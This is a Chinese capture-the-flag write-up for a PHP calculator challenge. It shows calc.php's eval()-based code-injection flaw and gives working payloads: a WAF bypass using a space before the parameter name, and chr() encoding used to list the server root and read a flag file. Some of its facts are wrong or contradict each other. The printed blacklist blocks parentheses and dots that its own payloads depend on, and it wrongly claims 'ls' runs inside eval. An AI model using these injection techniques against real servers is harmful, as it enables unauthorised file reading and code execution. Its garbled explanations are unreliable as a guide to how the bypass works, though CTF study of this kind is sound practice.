一、题目
二、解题步骤
思路:
查看页面源代码,定位核心文件 calc.php 与参数 num,发现 WAF 防护提示;访问 calc.php 确认 eval() 代码执行漏洞及字符黑名单限制;通过参数名加空格绕过 WAF、ASCII 编码绕过黑名单;执行 scandir() 读取根目录定位 Flag 文件,最终调用 file_get_contents() 读取 Flag 内容。
1. 查看页面源代码
- 发现注释
<!--I've set up WAF to ensure security.-->,明确存在 WAF 防护; - 从 JS 代码中提取核心接口:
calc.php?num=,确认参数为num。 url:"calc.php?num=..."核心逻辑在calc.php文件里。
直接在浏览器地址栏输入:calc.php
2. 分析代码
访问 calc.php 后,页面会直接显示源码:
<?php
error_reporting(0); // 关闭错误提示,避免泄露信息
if (!isset($_GET['num'])) { // 如果你没传 num 参数
show_source(__FILE__); // 就显示当前文件(calc.php)的源码
} else {
$str = $_GET['num']; // 接收你传的 ?num=xxx 里的内容
// 定义黑名单:过滤空格、/、引号、特殊符号等
$blacklist = [' ', '\t', '\r', '\n', ''', '"', '`', '[', ']', '$', '\', '^', '&', '|', '*', '?', '{', '}', '(', ')', '.', '-', '+', '=', '/', '%'];
foreach ($blacklist as $blackitem) { // 遍历黑名单检查
if (preg_match('/' . $blackitem . '/m', $str)) { // 只要包含黑名单字符
die("What are you doing?!"); // 直接终止程序,提示报错
}
}
eval('echo ' . $str . ';'); // 把 num 的值拼进去执行!核心漏洞点
}
?>
2.1. 【WAF 防护】
$blacklist = [' ', '/', ...];
过滤恶意字符,比如直接传 num=1;ls会被拦截(包含 ;)
2.2. 【核心漏洞】
eval('echo ' . $str . ';');
eval()是 PHP 代码执行函数,会把$str当成代码执行:- 正常传
num=1+1→ 执行echo 1+1;→ 输出 2; - 绕过WAF传
?%20num=1;ls→ 执行echo 1;ls;→ 先输出 1,再执行ls命令
3. 传「读目录命令」找Flag文件
/calc.php?%20num=1;var_dump(scandir(chr(47)))
作用:服务器会列出根目录所有文件
3.1. 命令解释
3.1.1. ?%20num=
num=是题目接收计算内容的参数名%20是URL编码后的空格(相当于在num前面加了个空格)。为了绕WAF:WAF只会盯着「num=」这个格式的参数,看到带空格的「 num=」,会误以为这不是目标参数,就不会拦截后面的命令;但PHP服务器会自动忽略参数名前的空格,依然把它当成「num」参数处理,能正常接收后面的内容。
3.1.2. 1;
1是一个最简单的合法数学计算,先写它是为了让命令看起来「合法」,避免服务器直接判定为恶意操作;;是PHP里的语句分隔符,作用是把「合法计算」和「恶意命令」分开——服务器会先执行「1」这个合法操作,再执行后面的读目录命令,这样既不会触发语法错误,也降低了被拦截的概率。
3.1.3. var_dump()
scandir()这个函数执行后,只会在服务器内部返回目录列表,但不会主动显示在页面上;var_dump()是PHP的打印函数,能把scandir()拿到的目录列表清晰地输出到页面上,你才能看到根目录下有哪些文件(比如找到flag文件)。如果不加它,命令执行了也看不到结果。
3.1.4. scandir(chr(47))
scandir()是PHP专门用来读取目录的函数,括号里写什么目录,它就会列出这个目录下的所有文件和文件夹;chr(47)是绕黑名单的关键:后端的黑名单明确禁止了/这个字符(根目录符号),直接写scandir('/')会被检测到并提示报错;而chr(47)是把ASCII码47转换成对应的字符——47正好对应/,服务器能看懂这个「暗号」,把它还原成/,但黑名单认不出chr(47),就不会拦截。
4. 传「读Flag文件命令」
找到的文件名是 f1agg
访问:
/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
目标就是读取这个 /f1agg 文件里的内容。
不能直接写 file_get_contents('/f1agg'),因为后端有黑名单,直接写 /、1 这些字符会被检测到,提示 What are you doing?!,所以必须用 chr(ASCII码) 这种「暗号」来替换。
4.1. 命令解释
4.1.1. chr(数字) 对应的字符
chr(数字) 是把「数字(ASCII码)」转换成「对应字符」,我们需要给 /f1agg 每个字符找对应的数字:
/→ ASCII码是 47 → 写成chr(47)f→ ASCII码是 102 → 写成chr(102)1→ ASCII码是 49 → 写成chr(49)a→ ASCII码是 97 → 写成chr(97)g→ ASCII码是 103 → 写成chr(103)- 最后一个
g→ 还是chr(103)
4.1.2. 用 . 拼接成完整路径
PHP 里的 . 是「拼接符」,把上面的暗号粘在一起:
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
= / + f + 1 + a + g + g
= /f1agg
4.1.3. 套进 file_get_contents()
file_get_contents() 是 PHP 读文件的核心函数,把拼接好的路径放进去:
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
→ 作用:读取服务器上 /f1agg 文件的内容
4.1.4. 加 var_dump() 让结果显示
file_get_contents() 执行后不会自动把内容显示在页面上,var_dump() 是「打印函数」,能把读到的 flag 内容输出到页面,所以最终命令是:
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
4.1.5. 补全绕WAF的前缀
最后加上 ?%20num=1;(加空格绕WAF,加1;保证命令合法)